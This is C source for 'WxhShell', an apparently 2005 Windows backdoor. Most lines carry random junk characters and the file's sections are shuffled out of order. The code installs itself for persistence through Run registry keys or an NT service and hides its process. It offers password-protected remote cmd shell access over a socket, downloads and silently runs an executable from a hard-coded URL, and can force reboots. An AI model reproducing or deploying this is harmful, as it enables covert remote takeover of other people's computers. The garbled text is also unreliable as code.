    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s:.XF|e{  
    else { + opN\`  
    closesocket(wsh); 9`VF [* 9  
    ExitThread(0); VZ!$'??  
    } u$^` hzfI  
    break; _ o3}Ly}  
    } c.> (/  
  // 获取shell fXQRsL8 ]  
  case 's': { "C|l3X'  
    CmdShell(wsh); ml/O  
    closesocket(wsh); J<O_N~$$*  
    ExitThread(0); DN_C7\CoA  
    break; SuuS!U+i>  
  } RlL,eU$CS  
  // 退出 .OUE'5e p  
  case 'x': { )eyxAg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >gl<$LQ?X  
    CloseIt(wsh); t9l7 % +y  
    break; CplRnKra  
    } CR=MjmH  
  // 离开 %P6!vx:&^b  
  case 'q': { N* -Z Jv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rb*\A7o|;  
    closesocket(wsh); ':dHYvP/UX  
    WSACleanup(); IH}L1i A)  
    exit(1); Ez-o*&  
    break; o\gQYi   
        } i)DXb  
  } SHh(ujz,  
  } 8hA=$}y&x  
ApBThW *E  
  // 提示信息 N$b;8F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m @ ?e <$  
} Z}f_\d'  
  } tYa*%|!v  
I-hhHm<@  
  return; H|O}Dsj  
} 5Yr$dNe  
M] *pBc(o0  
// shell模块句柄 GjG3aqP&!  
int CmdShell(SOCKET sock) (o\~2e:  
{ #{1fb%L{i  
STARTUPINFO si; .9 QQ]fLs  
ZeroMemory(&si,sizeof(si)); %q^]./3p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v\FD~   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SsZzYj.d  
PROCESS_INFORMATION ProcessInfo; -/?<@*n  
char cmdline[]="cmd"; RkM!BcB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b>WT-.b0  
  return 0; 2N]s}/l  
} 8m0sEV>  
>S]')O$c  
// 自身启动模式 ;{20Heuz  
int StartFromService(void) tTt~W5lo  
{ TQH#sx  
typedef struct +Eg# 8/q  
{ //|Vj | =  
  DWORD ExitStatus; Hq$ |j,&?  
  DWORD PebBaseAddress; 2T9Z{v  
  DWORD AffinityMask; vS#]RW&j  
  DWORD BasePriority; :P~Owz  
  ULONG UniqueProcessId; hrF4 a$  
  ULONG InheritedFromUniqueProcessId; t"fD"Xpj  
}   PROCESS_BASIC_INFORMATION; 1 doqznO  
K(2s%  
PROCNTQSIP NtQueryInformationProcess; QeoDq  
f' S"F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N 5DS-gv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b.&YUg[#  
o5uwa{v  
  HANDLE             hProcess; KMcP!N.I  
  PROCESS_BASIC_INFORMATION pbi; |zKcL3*  
%|>i2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `314.a6S  
  if(NULL == hInst ) return 0; ,~#hHhR_  
J)o%83//  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7j8_O@_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;q2T*4NN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iqeGy&F-  
}p~%GA.=98  
  if (!NtQueryInformationProcess) return 0; 5"U7I{\  
Sy~1U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K#@FKv|("  
  if(!hProcess) return 0; r^)<Jy0|r  
=B1!em|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;Lu|fQ#u*  
@$]h[   
  CloseHandle(hProcess); S8l+WF4q  
zAewE@N#_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RU=%yk-gM  
if(hProcess==NULL) return 0; &3V4~L1aEg  
g,nEiL  
HMODULE hMod; XJ9>a-{  
char procName[255]; 2Z~o frj  
unsigned long cbNeeded; mf#oa~_  
MZ'HMYed   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C'ZU .Y  
{YFru6$  
  CloseHandle(hProcess); G)Y!aX  
_[W=1bGJ  
if(strstr(procName,"services")) return 1; // 以服务启动 :nI.Qa'"H  
)<d8yLb  
  return 0; // 注册表启动 S5JnJkNn  
} K9R[ oB]b  
bu- RU(%  
// 主模块 .@'Vz;&mQ  
int StartWxhshell(LPSTR lpCmdLine) EZ4qhda  
{ J7ln6Y  
  SOCKET wsl; k>"I!&#g  
BOOL val=TRUE; gQ~4udla.  
  int port=0; DVd/OU  
  struct sockaddr_in door; X9R-GT  
 ~$B ,K]  
  if(wscfg.ws_autoins) Install(); Iu8=[F>  
<S qbj;  
port=atoi(lpCmdLine); b~}}{fm&f  
s6I]H  
if(port<=0) port=wscfg.ws_port; <OUAppH  
c1i7Rc{q  
  WSADATA data;  (c"!0v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IF=rD-x  
j^gF~ Wz^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LHp s2,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F3q5!1  
  door.sin_family = AF_INET; LPC7Bdjz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J0IK =Y  
  door.sin_port = htons(port); A.[T#ZB.4  
JsV#:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S<TfvQ\,"@  
closesocket(wsl); 4?Io@[7A)  
return 1; (&S v $L@  
} kHO\#fF<  
IX}l)t[:(  
  if(listen(wsl,2) == INVALID_SOCKET) { 39"'Fz?1  
closesocket(wsl); f] Vz!hM~  
return 1; N|DY)W  
} x {rt\OT  
  Wxhshell(wsl); .#X0P=  
  WSACleanup(); <YC{q>EMc  
]@xc9 tlG  
return 0; +=R:n^r^,  
jV(IS D  
} B~^\jRd "  
^JTfRZ :a  
// 以NT服务方式启动 ?@~FT1"6G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f*Kipgp  
{ {1o=/&  
DWORD   status = 0; }V 1sY^C  
  DWORD   specificError = 0xfffffff; 0t) IW D  
fqcyCu7Ep  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hm& ~6rB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;RU)Q)a)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _Qv4;a  
  serviceStatus.dwWin32ExitCode     = 0; )YZ41K5N  
  serviceStatus.dwServiceSpecificExitCode = 0; _u>+H#  
  serviceStatus.dwCheckPoint       = 0; 8)i\d`  
  serviceStatus.dwWaitHint       = 0; ,"D1!0  
$z<CkMP!U7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); og>f1NwS[  
  if (hServiceStatusHandle==0) return; bHp|> g  
9DIGK\  
status = GetLastError(); L8V'mUyD  
  if (status!=NO_ERROR) CTwP{[%Pk  
{ KT3[{lr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HjK|9  
    serviceStatus.dwCheckPoint       = 0; ^3e l-dZ  
    serviceStatus.dwWaitHint       = 0; O&}07(  
    serviceStatus.dwWin32ExitCode     = status; As"'KR  
    serviceStatus.dwServiceSpecificExitCode = specificError; +/ #J]v-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cJt#8P  
    return; 4o%hH  
  } toF@@ %  
pRC#DHcHh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y"2c; *7[{  
  serviceStatus.dwCheckPoint       = 0; !l'Zar  
  serviceStatus.dwWaitHint       = 0; *@O;IiSE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $lO\eQGxB  
} }Iu6]?|'  
}RD,JgmV  
// 处理NT服务事件,比如:启动、停止 6:e0?R^aD"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }\1V;T  
{ 4-m}W;igu  
switch(fdwControl) ddw!FH2W (  
{ !XK p_v  
case SERVICE_CONTROL_STOP: m8FKr/Z-  
  serviceStatus.dwWin32ExitCode = 0; o}[wu:>yk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1f}Dza9  
  serviceStatus.dwCheckPoint   = 0; a1?Y7(alPU  
  serviceStatus.dwWaitHint     = 0; y_\d[  
  { *QrTZ$\C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ngg (<ZN  
  } Cu0/TeEM  
  return; d~.#KS  
case SERVICE_CONTROL_PAUSE: A0'Yfuie  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b+{yF  
  break; c^m}ep\F5L  
case SERVICE_CONTROL_CONTINUE: /ZAEvdO*P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k&9 b&-=fk  
  break; Z{%h6""  
case SERVICE_CONTROL_INTERROGATE: |`,%%p|T%  
  break; Zu5`-[mw  
}; Lw3Z^G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3uN;*f  
} XrYz[h*)!  
6}[W%S]8  
// 标准应用程序主函数 gPDc6{/C<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _m;Y'  
{  M*%iMz  
nL\BB&  
// 获取操作系统版本 [^aow-4z  
OsIsNt=GetOsVer(); 4O2O0\o:  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  ~UXW  
%h3CQk  
  // 从命令行安装 !sUo+Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); S_C+1e  
< =sO@0(<  
  // 下载执行文件 ,*Sj7qb#  
if(wscfg.ws_downexe) { y+@7k3"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =T!M`  
  WinExec(wscfg.ws_filenam,SW_HIDE); S?;&vs9j  
} 9^ )=N=wV  
BsR xD9r  
if(!OsIsNt) { 'r3I/qg*m  
// 如果时win9x,隐藏进程并且设置为注册表启动 zxXm9zrLo  
HideProc(); "`16-g97  
StartWxhshell(lpCmdLine); ]>&au8  
} {5:y,=Y  
else Qb/qUUQO;0  
  if(StartFromService()) FhW\23OC  
  // 以服务方式启动 5v8_ji#l[  
  StartServiceCtrlDispatcher(DispatchTable); |_Z(}% <o  
else MH1??vW  
  // 普通方式启动 uT ngDk  
  StartWxhshell(lpCmdLine); :+; U W \  
{Dqf.w>t  
return 0; YS%HZFY, "  
} gTm[<Y  
a3JG&6-  
!fjDO!,!  
Kh}#At^C8e  
=========================================== 5^*I]5t8  
Y@F@k(lOo  
BG/M3  
(m25ZhW  
G-xW&wC-  
u05Zg*.[  
" ?(4 =:o  
2{% U\^-  
#include <stdio.h> dk# LAm0<  
#include <string.h> NO8)XJ3s  
#include <windows.h> _5y3<H<?  
#include <winsock2.h> z\{y[3-  
#include <winsvc.h> ?x=;?7  
#include <urlmon.h> LDx1@a|83  
+.:- :  
#pragma comment (lib, "Ws2_32.lib") &V:iy  
#pragma comment (lib, "urlmon.lib") gYw4YP0Gz  
z`y!C3w<  
#define MAX_USER   100 // 最大客户端连接数 Wyd,7]'z)Z  
#define BUF_SOCK   200 // sock buffer :iP2e+j  
#define KEY_BUFF   255 // 输入 buffer 9])dLL0  
V)=!pT  
#define REBOOT     0   // 重启 *xI0hFJIM  
#define SHUTDOWN   1   // 关机 GMyzQ]@}  
n3 -5`Jti  
#define DEF_PORT   5000 // 监听端口 p<: bP w  
Gk g)\ 3  
#define REG_LEN     16   // 注册表键长度 N*gnwrP{  
#define SVC_LEN     80   // NT服务名长度 )OS^tG[=  
4[v %]g`  
// 从dll定义API := C-P7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <!Ed ND=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z.ky=vCt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TFjb1 a,)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j|c  
;*Ldnj;B  
// wxhshell配置信息 .Cwg l  
struct WSCFG { wsYvbI!  
  int ws_port;         // 监听端口 Mj|\LF +  
  char ws_passstr[REG_LEN]; // 口令 Lk9X>`b#B  
  int ws_autoins;       // 安装标记, 1=yes 0=no hRHqG  
  char ws_regname[REG_LEN]; // 注册表键名 ;shhg z$  
  char ws_svcname[REG_LEN]; // 服务名 UJ* D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qwM71B!r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZxF RE#y~2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a<*q+a(*W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s]@()?.E$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b"DaLwKkz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L3/m}AH,  
V{+'(<SV  
}; jgNdcP  
8lk@ev=O&  
// default Wxhshell configuration uxLT*,  
struct WSCFG wscfg={DEF_PORT, #eadkj #;  
    "xuhuanlingzhe", ""q76cx  
    1, 589hfET  
    "Wxhshell", Dukvi;\  
    "Wxhshell", jfF   
            "WxhShell Service", "H\1Z,P<m  
    "Wrsky Windows CmdShell Service", %/iD@2r  
    "Please Input Your Password: ", ova4  
  1, cNOtfn6?F  
  "http://www.wrsky.com/wxhshell.exe", jrk48z  
  "Wxhshell.exe" jkTC/9AE|  
    }; v"ZNS  
yK9:LXhf  
// 消息定义模块 BQTZt'p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |Lf>Z2E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tqbYrF)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |7ct2o~un  
char *msg_ws_ext="\n\rExit."; xU<WUfS1  
char *msg_ws_end="\n\rQuit."; W>W b|W  
char *msg_ws_boot="\n\rReboot..."; HueGARS  
char *msg_ws_poff="\n\rShutdown..."; L8R{W0Zr>!  
char *msg_ws_down="\n\rSave to "; $r+ _Y/  
4:wVT;?a  
char *msg_ws_err="\n\rErr!"; v_^>*Vm*  
char *msg_ws_ok="\n\rOK!"; U1nObA  
C)Ep}eHjf_  
char ExeFile[MAX_PATH]; ;&7dX^oH  
int nUser = 0; *WMI<w~_  
HANDLE handles[MAX_USER]; bji5X')~#  
int OsIsNt;  qHVZsZ  
eLFxGZZ  
SERVICE_STATUS       serviceStatus; u|(;SY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !r^fX=X>'  
[~_)]"pU  
// 函数声明 .Nk'yow  
int Install(void); 7]sRHX0o%  
int Uninstall(void); JX!z,X?r4  
int DownloadFile(char *sURL, SOCKET wsh); &FrUj>i  
int Boot(int flag); 1?I_fA}  
void HideProc(void); YF8;s4  
int GetOsVer(void); p.@ kv  
int Wxhshell(SOCKET wsl); 6sjd:~J:  
void TalkWithClient(void *cs); cvOCBg38BH  
int CmdShell(SOCKET sock); (E(J}r~E  
int StartFromService(void); , L_u X  
int StartWxhshell(LPSTR lpCmdLine); !%X~`&9  
^=Dz)95c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +L0Jje>Az  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WU$l@:Yo  
Z1}@N/>>  
// 数据结构和表定义 1VKu3  
SERVICE_TABLE_ENTRY DispatchTable[] = d HN"pNNs  
{ "f~*4g  
{wscfg.ws_svcname, NTServiceMain}, D?.H|%  
{NULL, NULL} Y~TD)c=  
}; '2z1$zst,#  
^V}c8 P|  
// 自我安装 ]A=yj@o$xN  
int Install(void) \X2r?   
{ icK>|   
  char svExeFile[MAX_PATH]; 0?o<cC1Z  
  HKEY key; P9 w);jp;  
  strcpy(svExeFile,ExeFile); d%Ls'[Y^_0  
YMn*i<m  
// 如果是win9x系统,修改注册表设为自启动 [CG3&J  
if(!OsIsNt) { b^:frjaE3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^]5^p9Jt"e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p!o-+@ava  
  RegCloseKey(key); {nPiIPH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v\lKY*@f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I:6H65(&  
  RegCloseKey(key); `O0bba=:=  
  return 0; i&TWIl8  
    } W" Tj.oCUG  
  } #=V\WQb  
} (nu;o!mo9  
else { Hk f<.U  
3y tlD'  
// 如果是NT以上系统,安装为系统服务 Na>w~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LzTdi%u$0|  
if (schSCManager!=0) Hp>_:2O8s  
{ -K (>uV!?  
  SC_HANDLE schService = CreateService w2SN=X~#  
  ( Z'UhJuD5  
  schSCManager, }Uu#N H  
  wscfg.ws_svcname, hnimd~E52k  
  wscfg.ws_svcdisp, u!-v1O^[  
  SERVICE_ALL_ACCESS, 4L bll%[9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XL7||9,(h  
  SERVICE_AUTO_START, '=0l{hv@  
  SERVICE_ERROR_NORMAL, R=2"5Hy=  
  svExeFile, esM r@Oc  
  NULL, qizQt]l  
  NULL, Mt4*`CxtH;  
  NULL, k:F{U^!p|  
  NULL, [sNvCE$\]  
  NULL @#=yC.s  
  ); NTo[di\_  
  if (schService!=0) <A(Bq'eQM  
  { x1h&`QUP  
  CloseServiceHandle(schService); R`J.vMT  
  CloseServiceHandle(schSCManager); IISdC(5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q@1SqK#-DQ  
  strcat(svExeFile,wscfg.ws_svcname); "l{{H&d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [<|$If99\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q/^?rd  
  RegCloseKey(key); Zts1BWL[  
  return 0; 1N[9\Yi  
    } 6e S~*  
  } LJ6L#es2  
  CloseServiceHandle(schSCManager); ~/qBOeU3  
} 3 a|pk4M  
} h1H$3TpP  
&hUEOif  
return 1; U[?f@.&  
} $>7T s>8  
)5NWUuH 5  
// 自我卸载 ik](k"1{  
int Uninstall(void) f/QwXO-U  
{ ^T#jBqe  
  HKEY key; W&k@p9  
S17;;w0  
if(!OsIsNt) { 9}_'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i;atYltEJ2  
  RegDeleteValue(key,wscfg.ws_regname); &e78xtA{  
  RegCloseKey(key); X~cdM1z?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cm0$v8  
  RegDeleteValue(key,wscfg.ws_regname); @+0dgkJ  
  RegCloseKey(key); .C.b5x!  
  return 0; +/bD9x1H  
  } s(?%A  
} (d/!M n6L  
} l3*GQ~m7  
else { l<p<\,nV$  
##%&*vh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5KfrkZ  
if (schSCManager!=0) N/'8W9#6  
{ peHjKK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9)8Cf% <(  
  if (schService!=0) &6vWz6!P  
  { +$Y*1{hyOo  
  if(DeleteService(schService)!=0) { h$}PQ   
  CloseServiceHandle(schService); 1]9w9! j  
  CloseServiceHandle(schSCManager); t(dVd%   
  return 0; /OYa1,  
  } E%( s=YhW  
  CloseServiceHandle(schService); Ex Q\qp3  
  } 4*L* "vKa  
  CloseServiceHandle(schSCManager); fC 3T\@(&  
} `x=$n5= 8  
}  !^8X71W|  
Dw.I<fns^B  
return 1; as'yYn8  
} rW090Py  
Bd7B\zM  
// 从指定url下载文件 ^BM !TQ%!  
int DownloadFile(char *sURL, SOCKET wsh) TtF+~K  
{ lT*@f39~g  
  HRESULT hr; F,A+O+  
char seps[]= "/"; +q;{ %3C  
char *token; hv?T}E  
char *file; VdGVEDwz  
char myURL[MAX_PATH]; K a& 2>F  
char myFILE[MAX_PATH]; PO8Z2"WI  
Z#B}#*<C  
strcpy(myURL,sURL); {%CW!Rc  
  token=strtok(myURL,seps); E#_2t)20  
  while(token!=NULL) x=IZ0@p  
  { d:w/{m% #  
    file=token; 8zpzVizDG  
  token=strtok(NULL,seps); 6^t#sEff]  
  } qH5nw}]  
Vfga%K%l F  
GetCurrentDirectory(MAX_PATH,myFILE); vy}_aD{B  
strcat(myFILE, "\\"); %8 D>aS U  
strcat(myFILE, file); e[?,'Mp9  
  send(wsh,myFILE,strlen(myFILE),0); N mXRA(m  
send(wsh,"...",3,0); J5HN*Wd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]{q=9DczG(  
  if(hr==S_OK) LSA6*Q51  
return 0; Il9xNVos#  
else  ?O+.  
return 1; jL8A_'3B  
l^}u S|c(  
} CuH4~6  
?P-O4  
// 系统电源模块 )DhE~  
int Boot(int flag) \Cu=Le^  
{ xEu rkR  
  HANDLE hToken; A$N%deb  
  TOKEN_PRIVILEGES tkp; Im\ ~x~{  
#h^nvRmON  
  if(OsIsNt) { 'G~i;o  2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?gU raSFU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R;pW,]}g,  
    tkp.PrivilegeCount = 1; t6\H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l^ay* H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vD9\i*\2  
if(flag==REBOOT) { 9#9bm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =DfI^$Lr:  
  return 0; |9%~z0  
} $.pCoS]i  
else { ] 1pIIX}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %6 Av1cv  
  return 0; ?k4Hk$V  
} TK18U*z7J  
  } )W 5g-@  
  else { nvf5a-C+q  
if(flag==REBOOT) { XWAIW= .  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ewp2 1  
  return 0; B G\)B  
} )K@D4sl  
else { e-P{)L<s5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H[p~1%Lq  
  return 0; )L6 it  
}  ..E_M$}  
} 9ybR+dGm+  
Z(c SM  
return 1; PdVx&BL*  
} SQ> Yf\  
DJgM>&Y6,  
// win9x进程隐藏模块 `Wjq$*  
void HideProc(void) C(v'7H{4cW  
{ #K:iB*  
Bj2iYk_cLa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (^FMm1@T  
  if ( hKernel != NULL ) 9) ]`le  
  { eA(\#+)X `  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ncbe{}<md  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O0z-jZ,])  
    FreeLibrary(hKernel); d+v| &yN  
  } TM{m:I:Z*n  
JS8pN5   
return; 5]]QW3  
} 4y+hr   
SaF0JPm4z  
// 获取操作系统版本 _ps4-<ugC  
int GetOsVer(void) hz;SDaBA  
{ Od;k}u6;<  
  OSVERSIONINFO winfo; @w==*.x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *(q{k%/M  
  GetVersionEx(&winfo); _ymSo`Iv R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cJq {;~   
  return 1; 6x(b/`VW  
  else @q<h.#9  
  return 0; !gLJBp  
} }0E@eL  
hlV(jz  
// 客户端句柄模块 k7*-v/ *S  
int Wxhshell(SOCKET wsl) 1_LKqBgo  
{ [= E=H*j  
  SOCKET wsh; T<7}IH$6xE  
  struct sockaddr_in client; UV;I6]$}A7  
  DWORD myID; M^ WoV }'  
` k I}p  
  while(nUser<MAX_USER) KS~Q[-F1P  
{ &f'Lll  
  int nSize=sizeof(client); hOLlZP+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ._x"b5C  
  if(wsh==INVALID_SOCKET) return 1; : c iwh  
-M]/Xv]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iWW!'u$+I`  
if(handles[nUser]==0) u SZfim@Z7  
  closesocket(wsh); i`CNgScF>  
else v8E:64  
  nUser++; ;MYK TE>m  
  } aRWj+[[7y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7]L}~  
S?v;+3TG  
  return 0; QrmGrRH  
} ;+f(1=x  
j/uMSE  
// 关闭 socket epk C '  
void CloseIt(SOCKET wsh) L~|_)4  
{ .ejC#vB{KM  
closesocket(wsh); t9W*N\  
nUser--; fF/;BSq'  
ExitThread(0); 8j&1qJx)  
} U .^%7.  
Q"pZPpl&  
// 客户端请求句柄 C\C*@9=&x  
void TalkWithClient(void *cs) 0""%@X]m  
{ 4yxf/X)  
!&KE">3Qu  
  SOCKET wsh=(SOCKET)cs; 65 &+Fv  
  char pwd[SVC_LEN]; }VH` \g}  
  char cmd[KEY_BUFF]; = "Lb5!  
char chr[1]; Jn?ZJZ  
int i,j; P6^\*xkMr  
Vz,"vBds  
  while (nUser < MAX_USER) { pDr/8HEh  
|9CPT%A#  
if(wscfg.ws_passstr) { =x^IBLHN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \"K:<+RH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `a7b,d  
  //ZeroMemory(pwd,KEY_BUFF); K^AIqL8  
      i=0; 8.`5"9Vh  
  while(i<SVC_LEN) { p_g8d&]V  
P)=$0kR3  
  // 设置超时 =snJ+yn!  
  fd_set FdRead; bb/A}< zD  
  struct timeval TimeOut; czo*_q%  
  FD_ZERO(&FdRead); /4*>.Nmb,f  
  FD_SET(wsh,&FdRead); =cR=E{20  
  TimeOut.tv_sec=8; 0F 4%Xz  
  TimeOut.tv_usec=0; 1@]gBv<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5X-d,8{w _  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H0lAu]~R_W  
7&|&y SCu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pi*?fUg!W  
  pwd=chr[0]; F*B^#AZg  
  if(chr[0]==0xd || chr[0]==0xa) { G"<} s mB  
  pwd=0; ~|wh/]{b9  
  break; Xdf;'|HO  
  } %8% 0l*n'  
  i++; P'5Q}7  
    } $kQQdF  
8`w#)6(V  
  // 如果是非法用户,关闭 socket F,GG>(6c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y7 W7270)  
} 6O'B:5~[2  
+r =p ,leb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wAF#N1-k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kv\uBMJNW  
6k\8ulHw  
while(1) { 6x_D0j%^]  
\"=@uqar2  
  ZeroMemory(cmd,KEY_BUFF); {f%x8t$  
\]t }N  
      // 自动支持客户端 telnet标准   ~c GH+M@  
  j=0; xOpCybmc  
  while(j<KEY_BUFF) { !='&#@7u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $k3l[@;hE  
  cmd[j]=chr[0]; nR$Q~`  
  if(chr[0]==0xa || chr[0]==0xd) { u#34mg..  
  cmd[j]=0; Q|HOy8O}Z  
  break; Rwz (20n\^  
  } w8AHs/'r  
  j++; IY9##&c3>  
    } <Okl.Iz>  
Rlf#)4  
  // 下载文件 2SVJKX_V+  
  if(strstr(cmd,"http://")) { -jsk-,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lMBXD?,,J  
  if(DownloadFile(cmd,wsh)) 3LD`Ep   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A@lY{e  
  else Gl>_C@n0h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A4|a{\|$  
  } T]Eg9Y:+v  
  else { < ekLL{/O'  
d>NM4n[h8  
    switch(cmd[0]) { okZDxg`6  
  6o/!H  
  // 帮助 dg]: JU  
